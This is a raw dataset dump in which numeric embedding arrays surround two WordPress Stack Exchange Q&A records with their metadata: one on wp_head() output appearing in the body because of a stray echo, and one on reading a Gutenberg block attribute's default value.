-0.00223541259765625, 0.0031147003173828125, 0.00911712646484375, -0.02978515625, -0.029144287109375, 0.0210418701171875, 0.0006566047668457031, -0.0247955322265625, -0.023040771484375, -0.0243072509765625, 0.0218048095703125, 0.10260009765625, 0.086669921875, 0.0290374755859375, -0.07965087890625, 0.05841064453125, 0.004573822021484375, -0.0230712890625, 0.01117706298828125, 0.0032501220703125, 0.0096282958984375, -0.00565338134765625, -0.007526397705078125, 0.0037994384765625, -0.00804901123046875, 0.01354217529296875, -0.004467010498046875, -0.0211639404296875, 0.0245208740234375, -0.007381439208984375, -0.045989990234375, 0.01125335693359375, 0.047821044921875, -0.02203369140625, 0.01407623291015625, 0.0245513916015625, -0.002887725830078125, 0.0280914306640625, 0.044189453125, 0.0181121826171875, 0.04364013671875, -0.05181884765625, -0.0157928466796875, 0.0125274658203125, 0.03265380859375, -0.0181884765625, -0.0158538818359375, -0.0184173583984375, 0.01068115234375, -0.006565093994140625, -0.0015621185302734375, -0.0201263427734375, 0.01448822021484375, 0.002590179443359375, 0.0662841796875, -0.01959228515625, -0.0018482208251953125, -0.0025806427001953125, 0.0057525634765625, -0.0147857666015625, 0.0014705657958984375, 0.0369873046875, -0.044677734375, 0.009033203125, 0.0189666748046875, 0.0047760009765625, -0.015716552734375, -0.0080413818359375, -0.041656494140625, -0.00513458251953125, -0.006023406982421875 ]
2005afa07931083d9ee09326483411c19f20daf2
Wordpress Stackexchange Q: wp_head() outputs in body I've got a simple header file which calls the wp_head method, however when i inspect the source the css links are made in the body and the <head> is empty. My header.php: <!DOCTYPE html> <html lang="en"> <head> <?php wp_head(); ?> </head> <body> <?php get_template_part( 'components/navigation/navigation', 'main' ); ?> My functions.php: <?php function load_scripts() { echo ' test'; wp_enqueue_style( 'style', get_stylesheet_uri() ); } add_action('wp_enqueue_scripts', 'load_scripts'); ?> Thanks! A: This is your browser's attempt to avoid invalid markup. Your echo ' test'; outputs something that does not belong in a head tag, so the browser closes it and opens the body tag. If you look at the actual unprocessed response from the server, it won't appear this way, but that echo shouldn't be there regardless, and this issue will disappear when you remove it.
Q: wp_head() outputs in body I've got a simple header file which calls the wp_head method, however when i inspect the source the css links are made in the body and the <head> is empty. My header.php: <!DOCTYPE html> <html lang="en"> <head> <?php wp_head(); ?> </head> <body> <?php get_template_part( 'components/navigation/navigation', 'main' ); ?> My functions.php: <?php function load_scripts() { echo ' test'; wp_enqueue_style( 'style', get_stylesheet_uri() ); } add_action('wp_enqueue_scripts', 'load_scripts'); ?> Thanks! A: This is your browser's attempt to avoid invalid markup. Your echo ' test'; outputs something that does not belong in a head tag, so the browser closes it and opens the body tag. If you look at the actual unprocessed response from the server, it won't appear this way, but that echo shouldn't be there regardless, and this issue will disappear when you remove it.
wordpress
{ "language": "en", "length": 137, "provenance": "stackexchange_00019.jsonl.gz:486140", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303416" }
[ 0.033782958984375, 0.006443023681640625, -0.033447265625, 0.0002715587615966797, 0.00269317626953125, -0.034698486328125, 0.017913818359375, -0.01506805419921875, -0.01837158203125, -0.0035495758056640625, -0.04876708984375, 0.0157928466796875, -0.055755615234375, -0.0119781494140625, 0.0024814605712890625, -0.05950927734375, 0.07208251953125, -0.039337158203125, 0.024078369140625, 0.02984619140625, -0.01485443115234375, 0.072998046875, 0.029266357421875, 0.0248870849609375, 0.01053619384765625, -0.043731689453125, 0.05535888671875, -0.0049285888671875, -0.006221771240234375, -0.0233306884765625, 0.0041046142578125, 0.029052734375, 0.03802490234375, 0.033721923828125, -0.06243896484375, 0.030426025390625, 0.003459930419921875, 0.0036029815673828125, 0.002105712890625, 0.022064208984375, -0.00904083251953125, -0.0014371871948242188, 0.073486328125, -0.02978515625, 0.006427764892578125, -0.00010830163955688477, 0.005367279052734375, -0.023162841796875, -0.021148681640625, -0.021240234375, 0.00318145751953125, 0.01258087158203125, 0.0162811279296875, 0.003993988037109375, -0.01291656494140625, 0.00186920166015625, -0.0002574920654296875, -0.024444580078125, 0.01165771484375, 0.0134124755859375, -0.005146026611328125, -0.004344940185546875, 0.010986328125, -0.0268707275390625, 0.005279541015625, 0.028778076171875, 0.03466796875, -0.0026531219482421875, -0.038421630859375, -0.0024662017822265625, 0.0170745849609375, -0.032745361328125, -0.00859832763671875, -0.01654052734375, -0.0254364013671875, 0.0031986236572265625, -0.0255279541015625, -0.05511474609375, 0.043426513671875, 0.004901885986328125, 0.011566162109375, 0.00432586669921875, -0.0518798828125, -0.0167083740234375, 0.0391845703125, 0.025177001953125, -0.002605438232421875, -0.037384033203125, -0.00914764404296875, -0.009033203125, -0.030548095703125, 0.00437164306640625, 0.0322265625, -0.03900146484375, -0.039031982421875, -0.0295562744140625, -0.01450347900390625, 0.0162811279296875, -0.00534820556640625, 0.04986572265625, 0.00064849853515625, -0.0232696533203125, 0.058624267578125, -0.055511474609375, 0.019378662109375, 0.044036865234375, -0.0194091796875, -0.021209716796875, 0.0426025390625, 0.016143798828125, 0.014251708984375, 0.00510406494140625, -0.02117919921875, -0.0197296142578125, -0.00839996337890625, 0.009765625, -0.049072265625, 0.02386474609375, -0.00605010986328125, 0.032073974609375, 0.01812744140625, 0.0501708984375, 0.017974853515625, -0.01268768310546875, -0.02264404296875, 0.0009784698486328125, 0.01338958740234375, -0.0750732421875, 0.0282135009765625, 0.0007739067077636719, -0.018646240234375, -0.00336456298828125, 0.037261962890625, 0.031768798828125, 0.01071929931640625, -0.0229949951171875, 0.0237579345703125, -0.0133819580078125, -0.0299530029296875, 0.0174102783203125, -0.02032470703125, -0.042388916015625, -0.00458526611328125, -0.0265960693359375, 0.018798828125, 0.007785797119140625, 0.0207672119140625, 0.02691650390625, -0.0187225341796875, -0.0261383056640625, 0.031524658203125, -0.00632476806640625, 0.0110015869140625, 0.018157958984375, 0.017578125, -0.04241943359375, 0.0206146240234375, -0.043121337890625, 0.0335693359375, -0.0205535888671875, -0.03192138671875, 0.002872467041015625, 0.01544189453125, -0.052001953125, -0.036468505859375, -0.0037975311279296875, -0.01537322998046875, -0.00044155120849609375, 0.0205078125, -0.005748748779296875, -0.0002791881561279297, -0.061798095703125, 0.0384521484375, -0.0008711814880371094, -0.019775390625, 0.036712646484375, 0.01340484619140625, 0.0012493133544921875, 0.025390625, -0.002277374267578125, -0.005832672119140625, -0.0216827392578125, 0.064697265625, -0.0284881591796875, -0.07550048828125, 0.0506591796875, 0.005229949951171875, 0.07861328125, 0.0201873779296875, 0.003040313720703125, 0.059478759765625, 0.0121002197265625, -0.01070404052734375, -0.004791259765625, -0.004608154296875, -0.0179595947265625, -0.033172607421875, -0.0116729736328125, -0.024261474609375, 0.0180816650390625, -0.0038242340087890625, 0.019378662109375, -0.004070281982421875, 0.015411376953125, -0.03802490234375, 0.0112762451171875, -0.0209808349609375, 0.035308837890625, 0.0143890380859375, 0.032928466796875, 0.00881195068359375, 0.0156402587890625, -0.0087127685546875, -0.0643310546875, -0.0252838134765625, 0.014068603515625, -0.025299072265625, 0.025390625, -0.010101318359375, 0.0070037841796875, -0.0191650390625, -0.0284881591796875, -0.0147247314453125, 0.01091766357421875, 0.03466796875, 0.0100555419921875, -0.03314208984375, -0.0218963623046875, 0.0279388427734375, 0.015380859375, -0.02587890625, 0.04119873046875, 0.04443359375, 0.07977294921875, -0.044281005859375, -0.050689697265625, -0.03582763671875, -0.02337646484375, 0.01354217529296875, 0.0587158203125, 0.039306640625, 0.0170440673828125, 0.004611968994140625, 0.00801849365234375, 0.06561279296875, 0.003543853759765625, 0.0269317626953125, -0.0271759033203125, 0.01004791259765625, -0.0193328857421875, 0.024505615234375, -0.0247955322265625, 0.050750732421875, -0.03851318359375, 0.015625, 0.0460205078125, 0.0002655982971191406, -0.01470184326171875, -0.0164794921875, 0.0115203857421875, 0.0227203369140625, -0.01032257080078125, -0.040313720703125, -0.006378173828125, 0.01358795166015625, 0.007659912109375, 0.00044083595275878906, -0.01314544677734375, -0.057830810546875, 0.0231475830078125, 0.039154052734375, -0.003780364990234375, -0.0121307373046875, 0.048553466796875, 0.01273345947265625, -0.0294189453125, 0.009613037109375, -0.017303466796875, -0.0235443115234375, 0.0179443359375, -0.0031032562255859375, 0.01116943359375, 0.007762908935546875, -0.005855560302734375, 0.004787445068359375, -0.042510986328125, 0.0252532958984375, 0.0014514923095703125, 0.0858154296875, 0.07928466796875, 0.07403564453125, 0.038726806640625, 0.0027027130126953125, 0.06268310546875, 0.0005402565002441406, -0.007297515869140625, 0.06060791015625, -0.0107269287109375, 0.0113525390625, -0.01062774658203125, 0.06866455078125, 0.04302978515625, -0.01160430908203125, 0.00962066650390625, 0.0009379386901855469, 0.014892578125, 0.0270538330078125, 0.0016040802001953125, -0.011932373046875, -0.0269317626953125, -0.004077911376953125, -0.004459381103515625, 0.0186309814453125, 0.0299530029296875, 0.00688934326171875, -0.046051025390625, 0.02081298828125, 0.0051116943359375, -0.08062744140625, -0.0904541015625, -0.0282135009765625, -0.0240936279296875, 0.00376129150390625, -0.0018100738525390625, -0.004024505615234375, 0.0007686614990234375, 0.0006475448608398438, 0.0048065185546875, 0.00013685226440429688, -0.03759765625, -0.0625, -0.08123779296875, -0.09124755859375, -0.031585693359375, -0.0038909912109375, -0.00626373291015625, -0.00817108154296875, 0.0224151611328125, -0.018829345703125, -0.041351318359375, -0.01212310791015625, 0.046051025390625, 0.01259613037109375, -0.020843505859375, -0.00586700439453125, -0.007236480712890625, -0.00864410400390625, -0.00385284423828125, -0.04736328125, 0.0027408599853515625, 0.00904083251953125, -0.01126861572265625, -0.01226043701171875, -0.0311737060546875, -0.0146484375, 0.0662841796875, 0.0253448486328125, -0.04833984375, 0.02789306640625, -0.0584716796875, -0.0626220703125, 0.01279449462890625, -0.05438232421875, 0.00817108154296875, 0.04052734375, -0.0137939453125, -0.021240234375, 0.03375244140625, 0.01947021484375, -0.01068115234375, -0.0078125, -0.0099334716796875, 0.052154541015625, -0.0023975372314453125, 0.0229949951171875, -0.020233154296875, 0.04705810546875, -0.005584716796875, 0.0310821533203125, 0.0297698974609375, -0.006244659423828125, -0.0215606689453125, -0.00598907470703125, -0.05072021484375, -0.0211639404296875, 0.035308837890625, -0.00518798828125, 0.00928497314453125, -0.01413726806640625, -0.02313232421875, 0.005306243896484375, 0.067138671875, -0.023712158203125, -0.021392822265625, -0.0027713775634765625, 0.02813720703125, -0.0751953125, -0.0577392578125, -0.018341064453125, 0.00617218017578125, -0.10345458984375, 0.035675048828125, -0.0095672607421875, -0.029449462890625, -0.0271759033203125, -0.0258636474609375, -0.056060791015625, -0.060028076171875, 0.0081939697265625, 0.03338623046875, 0.0005364418029785156, 0.0028629302978515625, -0.0189666748046875, 0.0028476715087890625, 0.00006729364395141602, -0.0083465576171875, -0.06744384765625, -0.01708984375, -0.032958984375, 0.06231689453125, 0.00635528564453125, 0.0231475830078125, -0.0275421142578125, 0.033203125, 0.01363372802734375, 0.035858154296875, 0.024017333984375, -0.00223541259765625, 0.0029239654541015625, -0.00667572021484375, 0.025787353515625, -0.035888671875, -0.0173797607421875, 0.01088714599609375, -0.0103607177734375, 0.03741455078125, -0.0185394287109375, -0.0006456375122070312, 0.017181396484375, -0.0156097412109375, -0.0102081298828125, -0.020965576171875, -0.004138946533203125, -0.007633209228515625, 0.0117034912109375, -0.0297698974609375, -0.0068511962890625, 0.01045989990234375, 0.030303955078125, -0.0265045166015625, -0.0035381317138671875, -0.0019969940185546875, 0.0152740478515625, 0.02178955078125, -0.009796142578125, 0.01013946533203125, 0.0416259765625, 0.040771484375, 0.00014162063598632812, 0.041473388671875, -0.013641357421875, -0.035980224609375, 0.07586669921875, 0.0050201416015625, 0.04229736328125, -0.009246826171875, 0.087646484375, 0.00027561187744140625, -0.01403045654296875, 0.04736328125, 0.03387451171875, -0.096435546875, -0.00496673583984375, 0.00542449951171875, 0.007282257080078125, 0.0421142578125, -0.00870513916015625, -0.0185699462890625, 0.01110076904296875, -0.0017671585083007812, -0.01172637939453125, -0.012847900390625, 0.0016241073608398438, 0.06195068359375, 0.058258056640625, -0.0208740234375, 0.035003662109375, 0.0433349609375, 0.0192108154296875, -0.03167724609375, -0.00878143310546875, -0.030029296875, 0.0169677734375, -0.020050048828125, -0.012054443359375, -0.02593994140625, -0.0209503173828125, 0.0634765625, 0.01428985595703125, -0.03460693359375, 0.0145111083984375, -0.0145416259765625, 0.031402587890625, 0.0031833648681640625, 0.007633209228515625, 0.005645751953125, -0.00789642333984375, -0.006328582763671875, 0.0058441162109375, -0.003490447998046875, -0.0223541259765625, -0.017547607421875, 0.012542724609375, -0.005504608154296875, -0.007045745849609375, 0.039459228515625, 0.0017919540405273438, -0.0183258056640625, 0.02838134765625, -0.004550933837890625, -0.0120391845703125, -0.0274200439453125, 0.0556640625, 0.0261077880859375, -0.050018310546875, 0.0265350341796875, 0.02337646484375, 0.045867919921875, -0.053070068359375, -0.02740478515625, 0.0195770263671875, 0.051666259765625, -0.0189056396484375, -0.01480865478515625, 0.03253173828125, -0.0025081634521484375, -0.016021728515625, 0.050628662109375, 0.00534820556640625, -0.035125732421875, -0.04119873046875, 0.00811767578125, 0.065185546875, 0.0163421630859375, 0.0019445419311523438, 0.00510406494140625, 0.0286102294921875, 0.0211944580078125, 0.002162933349609375, -0.038330078125, 0.0204925537109375, 0.0286865234375, 0.006374359130859375, -0.006748199462890625, 0.002201080322265625, -0.07720947265625, -0.01702880859375, -0.0241546630859375, -0.00824737548828125, 0.04437255859375, -0.056396484375, 0.01593017578125, -0.043182373046875, 0.0310821533203125, -0.0104522705078125, 0.013580322265625, 0.051422119140625, 0.04296875, -0.06695556640625, 0.0222015380859375, -0.046142578125, 0.006893157958984375, -0.00948333740234375, -0.036834716796875, -0.044891357421875, -0.03179931640625, -0.0031566619873046875, 0.007549285888671875, -0.0210418701171875, -0.038177490234375, -0.0322265625, 0.036834716796875, 0.0396728515625, 0.048614501953125, -0.02899169921875, 0.09942626953125, 0.018157958984375, 0.03509521484375, 0.01067352294921875, 0.0682373046875, -0.005725860595703125, 0.0079498291015625, 0.027923583984375, -0.036346435546875, -0.020294189453125, -0.0555419921875, 0.0216522216796875, 0.00511932373046875, 0.0445556640625, -0.010345458984375, -0.01169586181640625, 0.00617218017578125, 0.003757476806640625, -0.0217437744140625, 0.00531768798828125, 0.0310821533203125, -0.045013427734375, 0.035491943359375, 0.0221710205078125, -0.0051422119140625, -0.02545166015625, -0.0066680908203125, 0.010528564453125, 0.018218994140625, 0.00995635986328125, -0.032989501953125, -0.030181884765625, 0.06146240234375, 0.10516357421875, -0.0035266876220703125, 0.068603515625, 0.020233154296875, 0.0085906982421875, 0.053253173828125, 0.042755126953125, 0.006458282470703125, -0.03094482421875, 0.054656982421875, 0.010223388671875, -0.01020050048828125, 0.02972412109375, -0.026092529296875, -0.0030384063720703125, 0.058502197265625, 0.050994873046875, -0.0704345703125, 0.00803375244140625, 0.0030918121337890625, 0.0022106170654296875, 0.03619384765625, -0.02716064453125, -0.023651123046875, -0.077392578125, 0.0557861328125, 0.06707763671875, -0.00811767578125, 0.0206451416015625, 0.01232147216796875, 0.0009274482727050781, -0.033355712890625, 0.0313720703125, 0.0090179443359375, -0.0811767578125, 0.0144195556640625, 0.0654296875, -0.049835205078125, -0.0257720947265625, 0.0138702392578125, 0.0120391845703125, -0.0004470348358154297, -0.0268707275390625, 0.0546875, -0.0215301513671875, 0.0220794677734375, 0.01000213623046875, 0.0272216796875, -0.014068603515625, 0.013641357421875, -0.01230621337890625, 0.020751953125, -0.0213470458984375, -0.0186920166015625, 0.0289154052734375, -0.0234375, 0.0266571044921875, 0.0352783203125, -0.03240966796875, 0.024261474609375, 0.0210418701171875, -0.0254974365234375, -0.03424072265625, -0.051971435546875, 0.0819091796875, -0.0030918121337890625, -0.040313720703125, -0.0222625732421875, 0.0301513671875, 0.01995849609375, -0.00823211669921875, 0.051849365234375, -0.052947998046875, 0.00933074951171875, 0.0063934326171875, 0.014801025390625, -0.0157470703125, -0.0158538818359375, -0.038818359375, 0.07879638671875, -0.0012750625610351562, 0.0255279541015625, 0.04290771484375, 0.01203155517578125, -0.0255126953125, -0.00525665283203125, -0.036163330078125, 0.06170654296875, 0.0245819091796875, 0.058685302734375, -0.0626220703125, -0.0321044921875, 0.0305633544921875, 0.050201416015625, -0.044097900390625, -0.02593994140625, 0.0455322265625, 0.041748046875, 0.095703125, 0.038787841796875, 0.017822265625, -0.046417236328125, -0.01239776611328125, -0.00478363037109375, 0.01788330078125, -0.04559326171875, 0.0191192626953125, -0.0357666015625, -0.02581787109375, -0.005950927734375, 0.0018711090087890625, -0.006877899169921875, 0.0023670196533203125, -0.01514434814453125, -0.031768798828125, 0.01325225830078125, 0.0105438232421875, 0.0308990478515625, -0.020843505859375, 0.056854248046875, 0.0418701171875, -0.052490234375, -0.049560546875, -0.024444580078125, 0.044464111328125, 0.0202484130859375, 0.001163482666015625, -0.00510406494140625, 0.0096435546875, 0.04339599609375, -0.05975341796875, -0.031524658203125, -0.006137847900390625, -0.00485992431640625, 0.0635986328125, 0.037139892578125, 0.038909912109375, -0.030364990234375, -0.0367431640625, 0.024505615234375, 0.07135009765625, -0.029449462890625, -0.0131988525390625, 0.0021228790283203125, -0.0012769699096679688, 0.005947113037109375, -0.0267791748046875, 0.034759521484375, -0.005390167236328125, 0.00788116455078125, 0.01338958740234375, -0.0067596435546875, 0.007350921630859375, -0.0010004043579101562, 0.00989532470703125, 0.02313232421875, -0.0019407272338867188, 0.0237884521484375, -0.005298614501953125, 0.0016489028930664062, 0.0007200241088867188, 0.03179931640625, 0.01410675048828125, 0.02716064453125, -0.046844482421875, -0.0063018798828125, -0.02618408203125, 0.033782958984375, -0.0098419189453125, 0.04107666015625, -0.03582763671875, -0.001194000244140625, -0.0355224609375, 0.038543701171875, 0.022857666015625, -0.038604736328125, 0.0207977294921875, -0.0155487060546875, -0.07763671875, -0.0094757080078125, 0.00960540771484375, -0.037139892578125, -0.025665283203125, 0.0170135498046875, 0.01458740234375, 0.050262451171875, 0.008453369140625, 0.016510009765625, 0.060546875, 0.040802001953125, -0.060546875, 0.024200439453125, -0.011505126953125, -0.0260467529296875, 0.01085662841796875, -0.00620269775390625, 0.0266876220703125, -0.0178985595703125, -0.0100250244140625, -0.0137939453125, 0.009552001953125, -0.0006852149963378906, 0.004833221435546875, 0.035400390625, 0.0182647705078125, 0.00414276123046875, 0.0233612060546875, 0.005306243896484375, 0.0312042236328125, -0.03759765625, 0.0053253173828125, 0.00856781005859375, 0.0311431884765625, 0.02325439453125, -0.0701904296875, -0.041229248046875, -0.04620361328125, 0.036956787109375, -0.00025773048400878906, 0.039520263671875, 0.0006575584411621094, 0.032440185546875, 0.0118255615234375, 0.01465606689453125, -0.019866943359375, 0.01399993896484375, 0.0224151611328125, -0.0147247314453125, -0.0029392242431640625, -0.00862884521484375, -0.07672119140625, 0.0238800048828125, 0.0017004013061523438, 0.028594970703125, 0.049560546875, -0.0460205078125, 0.029266357421875, 0.0128021240234375, -0.004703521728515625, -0.0323486328125, -0.0382080078125, -0.0450439453125, 0.00823974609375, 0.01522064208984375, 0.036376953125, -0.0103912353515625, 0.0173797607421875, 0.036865234375, -0.042877197265625, 0.0343017578125, -0.0450439453125, 0.035797119140625, 0.0255126953125, 0.075439453125, -0.0117645263671875, 0.00765228271484375, -0.02410888671875, 0.0245513916015625, 0.00946807861328125, 0.025909423828125, -0.00936126708984375, -0.0024871826171875, -0.00110626220703125, 0.00839996337890625, 0.0209808349609375, -0.0163421630859375, -0.00711822509765625, 0.028594970703125, -0.030731201171875, -0.0176849365234375, -0.057403564453125, -0.01526641845703125, -0.01885986328125, -0.0008692741394042969, 0.0198822021484375, 0.021148681640625, -0.00603485107421875, 0.02764892578125, -0.0002918243408203125, -0.007656097412109375, -0.0286407470703125, 0.00390625, -0.0111083984375, -0.041717529296875, 0.0330810546875, -0.038604736328125, 0.0556640625, -0.00981903076171875, 0.035308837890625, -0.051483154296875, -0.009613037109375, -0.024139404296875, 0.03228759765625, -0.024017333984375, 0.025238037109375, 0.070556640625, -0.0291595458984375, 0.0244293212890625, 0.00803375244140625, 0.0110015869140625, 0.056640625, -0.01233673095703125, -0.01806640625, 0.00157928466796875, 0.00843048095703125, 0.0014505386352539062, -0.029876708984375, -0.0084991455078125, 0.01137542724609375, -0.00789642333984375, -0.022186279296875, -0.01433563232421875, -0.0100860595703125, -0.0394287109375, -0.049285888671875, 0.04815673828125, 0.0015621185302734375, -0.019683837890625, -0.0595703125, 0.00832366943359375, 0.0080718994140625, -0.01242828369140625, -0.0299072265625, -0.0215301513671875, -0.0218963623046875, 0.031036376953125, 0.01546478271484375, 0.0078582763671875, 0.0633544921875, -0.01788330078125, -0.027587890625, -0.019927978515625, -0.0259857177734375, 0.0047760009765625, -0.043548583984375, 0.019378662109375, 0.01233673095703125, 0.041015625, -0.0015726089477539062, 0.0111236572265625, 0.0137481689453125, 0.005096435546875, 0.01280975341796875, -0.01702880859375, -0.024139404296875, 0.0206146240234375, 0.02447509765625, -0.004825592041015625, 0.006404876708984375, -0.0277862548828125, -0.023193359375, 0.035186767578125, -0.04449462890625, -0.02557373046875, 0.0266571044921875, -0.057281494140625, -0.0182342529296875, -0.047393798828125, -0.0133819580078125, -0.0256195068359375, -0.02288818359375, -0.0224609375, -0.0185699462890625, -0.0022335052490234375, 0.01122283935546875, 0.0322265625, -0.05584716796875, 0.058990478515625, -0.0287628173828125, 0.02203369140625, -0.004543304443359375, 0.044219970703125, 0.031463623046875, 0.007572174072265625, -0.004302978515625, 0.0029201507568359375, -0.027984619140625, 0.00046944618225097656, -0.01329803466796875, -0.00093841552734375, -0.018524169921875, -0.00720977783203125, 0.00373077392578125, 0.01001739501953125, -0.01259613037109375, -0.00043892860412597656, -0.0157928466796875, 0.0192718505859375, -0.023406982421875, 0.0218505859375, -0.04119873046875, -0.03936767578125, -0.02716064453125, -0.0017175674438476562, -0.002216339111328125, 0.0255279541015625, 0.043548583984375, 0.00470733642578125, -0.0086517333984375, 0.0209197998046875, 0.005687713623046875, -0.06341552734375, 0.033935546875, -0.0238037109375, 0.017303466796875, 0.033843994140625 ]
c6c0b811dca3b67021725e670925f43a945adbf1
Wordpress Stackexchange Q: How to access "default" property of attribute in Gutenberg In a Gutenberg block I try to read the value of an attribute's default property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value. With this.props.attributes I only see the values of attributes, but I need their "meta data". One sample declaration in registerBlockType would look like: attributes: { amount: { type: 'integer', default: 1 }, // ... } A: You can get it from the wp.data object. For example, if you registered the block my-block: registerBlockType('create-block/my-block', { attributes: { amount: { type: 'integer', default: 1 }, // ... } // ... }); you can get the default value this way: const attributeSettings = wp.data.select('core/blocks').getBlockType('create-block/my-block').attributes; const defaultAmount = attributeSettings.amount.default;
Q: How to access "default" property of attribute in Gutenberg In a Gutenberg block I try to read the value of an attribute's default property, so that I can find out in the transformation routine (to another block type) if any give attribute still has the default value. With this.props.attributes I only see the values of attributes, but I need their "meta data". One sample declaration in registerBlockType would look like: attributes: { amount: { type: 'integer', default: 1 }, // ... } A: You can get it from the wp.data object. For example, if you registered the block my-block: registerBlockType('create-block/my-block', { attributes: { amount: { type: 'integer', default: 1 }, // ... } // ... }); you can get the default value this way: const attributeSettings = wp.data.select('core/blocks').getBlockType('create-block/my-block').attributes; const defaultAmount = attributeSettings.amount.default; A: I'm not sure if there's a direct way to inspect an attributes default value but one way would you can indirectly achieve this is to store the default value in a variable. You could then reference it from inside the attribute object and from the edit and save functions. e.g. (untested) const amountDefault = 1; registerBlockType( 'test/myblock', { title: __( 'Test Block' ), attributes: { amount: { type: 'integer', default: amountDefault } }, edit: function( props ) { const { attributes: { amount } } = props; return ( <div className={ props.className }> <h3>Editor</h3> The default amount is: {amountDefault} The actual amount is: {amount} </div> ); }, save: function( props ) { const { attributes: { amount } } = props; return ( <div> <h3>Editor</h3> The default amount is: {amountDefault} The actual amount is: {amount} </div> ); } } ); This isn't ideal but should work as expected. A: I just found out that I can simply define a variable when I register the block var myBlock = registerBlockType( ... ) and then inside the anonymous function for "transform" I can access the attributes as myBlock.attributes
wordpress
{ "language": "en", "length": 320, "provenance": "stackexchange_00019.jsonl.gz:486147", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/303445" }
[ -0.07647705078125, -0.0264434814453125, -0.025848388671875, -0.0015897750854492188, -0.035614013671875, 0.0022487640380859375, -0.03167724609375, 0.0201873779296875, 0.028472900390625, 0.0294647216796875, -0.040313720703125, -0.03826904296875, 0.025909423828125, -0.0216217041015625, -0.034271240234375, -0.036041259765625, 0.031829833984375, 0.044464111328125, 0.04925537109375, 0.006069183349609375, -0.033233642578125, 0.0302581787109375, 0.0137939453125, 0.05670166015625, 0.03851318359375, -0.075439453125, 0.047943115234375, -0.0224761962890625, 0.047149658203125, -0.0162353515625, 0.05474853515625, -0.01171112060546875, 0.0386962890625, -0.0239715576171875, 0.004302978515625, -0.00943756103515625, 0.051666259765625, -0.038360595703125, -0.004138946533203125, 0.028533935546875, 0.035491943359375, -0.02545166015625, -0.045867919921875, 0.02532958984375, -0.0240631103515625, -0.04229736328125, 0.032989501953125, -0.012481689453125, 0.044677734375, 0.068359375, -0.0272064208984375, 0.0611572265625, -0.043548583984375, -0.00658416748046875, 0.00930023193359375, -0.0290069580078125, -0.046630859375, 0.0038909912109375, 0.00760650634765625, 0.075927734375, 0.01366424560546875, 0.0174102783203125, -0.0116424560546875, -0.061798095703125, 0.0297088623046875, -0.0113372802734375, 0.024749755859375, 0.0325927734375, 0.038360595703125, 0.0260467529296875, -0.0175018310546875, 0.025054931640625, 0.0000934600830078125, -0.03753662109375, 0.0005812644958496094, -0.00919342041015625, -0.0246734619140625, -0.043304443359375, 0.0203704833984375, 0.0064544677734375, 0.0182647705078125, -0.033111572265625, -0.04461669921875, 0.01399993896484375, 0.0088653564453125, 0.036773681640625, -0.00478363037109375, -0.0247039794921875, 0.006683349609375, -0.01007843017578125, -0.00429534912109375, 0.016571044921875, -0.0289764404296875, 0.01511383056640625, -0.011383056640625, -0.03570556640625, -0.0053253173828125, -0.01531219482421875, -0.01177978515625, -0.00017011165618896484, -0.0206451416015625, -0.022857666015625, -0.0019054412841796875, 0.0033550262451171875, 0.005313873291015625, 0.01242828369140625, -0.033905029296875, 0.0110931396484375, 0.025360107421875, 0.043487548828125, -0.0049591064453125, -0.037109375, 0.012115478515625, 0.02685546875, -0.044769287109375, -0.0173492431640625, -0.037689208984375, 0.013671875, -0.01971435546875, 0.0159149169921875, 0.002346038818359375, 0.025421142578125, 0.026947021484375, -0.0482177734375, 0.02423095703125, -0.0018281936645507812, -0.04449462890625, -0.0102996826171875, -0.032257080078125, -0.0282440185546875, -0.0183868408203125, 0.0443115234375, 0.0474853515625, 0.0263214111328125, -0.0161590576171875, 0.007289886474609375, 0.046051025390625, 0.0142822265625, 0.00347900390625, -0.0134735107421875, 0.0092620849609375, 0.01085662841796875, 0.0129241943359375, -0.020111083984375, -0.01186370849609375, 0.0186920166015625, 0.03143310546875, -0.0011472702026367188, -0.04736328125, -0.0662841796875, 0.02685546875, -0.044525146484375, 0.004669189453125, 0.0260009765625, 0.00988006591796875, 0.03179931640625, 0.048431396484375, -0.004711151123046875, -0.031402587890625, -0.0224456787109375, 0.01001739501953125, -0.0498046875, -0.051849365234375, 0.0023975372314453125, -0.036773681640625, 0.074951171875, 0.01177978515625, -0.001026153564453125, 0.0150299072265625, 0.01438140869140625, -0.035858154296875, 0.0015735626220703125, 0.006160736083984375, -0.006427764892578125, -0.007587432861328125, 0.0014362335205078125, 0.0013332366943359375, -0.0258941650390625, 0.017181396484375, -0.018280029296875, -0.03558349609375, -0.030487060546875, 0.0213623046875, -0.011444091796875, -0.006137847900390625, 0.006481170654296875, -0.0194549560546875, 0.0242767333984375, 0.040679931640625, 0.0014238357543945312, -0.03607177734375, -0.01116180419921875, -0.1011962890625, 0.028228759765625, 0.005496978759765625, 0.04833984375, 0.0010347366333007812, 0.0284423828125, 0.015380859375, -0.0469970703125, 0.0247955322265625, -0.03436279296875, 0.046295166015625, -0.03045654296875, 0.0290985107421875, -0.028839111328125, 0.009307861328125, 0.013641357421875, -0.057891845703125, -0.01385498046875, 0.02960205078125, -0.07281494140625, -0.0194244384765625, 0.03924560546875, 0.0142974853515625, -0.0277862548828125, -0.00653076171875, 0.0521240234375, -0.01209259033203125, -0.0007023811340332031, 0.0031147003173828125, -0.0362548828125, 0.0101318359375, 0.02410888671875, 0.043792724609375, 0.025787353515625, -0.01348114013671875, -0.0011806488037109375, 0.0787353515625, 0.053131103515625, -0.02203369140625, -0.055908203125, -0.0199737548828125, -0.0207061767578125, -0.0293731689453125, -0.007381439208984375, -0.0177001953125, -0.05078125, 0.0203399658203125, 0.0572509765625, 0.0141143798828125, -0.005939483642578125, -0.0296783447265625, -0.00441741943359375, 0.00754547119140625, 0.01165771484375, 0.01297760009765625, -0.01357269287109375, 0.0004146099090576172, -0.0169677734375, -0.038055419921875, -0.012908935546875, 0.05377197265625, 0.0119781494140625, 0.0306243896484375, 0.021026611328125, 0.0183868408203125, 0.007061004638671875, -0.052886962890625, 0.0302581787109375, -0.01268768310546875, -0.032196044921875, -0.0303802490234375, -0.00919342041015625, 0.07269287109375, 0.01210784912109375, 0.046661376953125, 0.0265960693359375, -0.0501708984375, 0.056060791015625, 0.01641845703125, -0.03155517578125, -0.007137298583984375, 0.0018205642700195312, 0.06488037109375, 0.0026988983154296875, -0.04705810546875, -0.005092620849609375, 0.050445556640625, 0.0138092041015625, -0.0291595458984375, -0.005046844482421875, -0.0675048828125, -0.0181732177734375, -0.0015430450439453125, 